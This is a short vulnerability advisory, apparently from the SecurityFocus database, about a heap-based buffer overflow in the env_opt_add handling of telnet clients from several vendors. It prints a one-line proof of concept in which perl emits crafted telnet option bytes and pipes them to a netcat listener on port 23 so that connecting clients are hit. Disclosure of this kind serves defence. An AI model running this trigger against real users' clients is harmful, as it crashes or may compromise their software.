Multiple Vendor Telnet Client Env_opt_add Heap-Based Buffer Overflow Vulnerability


The following proof-of-concept code, designed to simply trigger this issue, has been made available:

perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com


 

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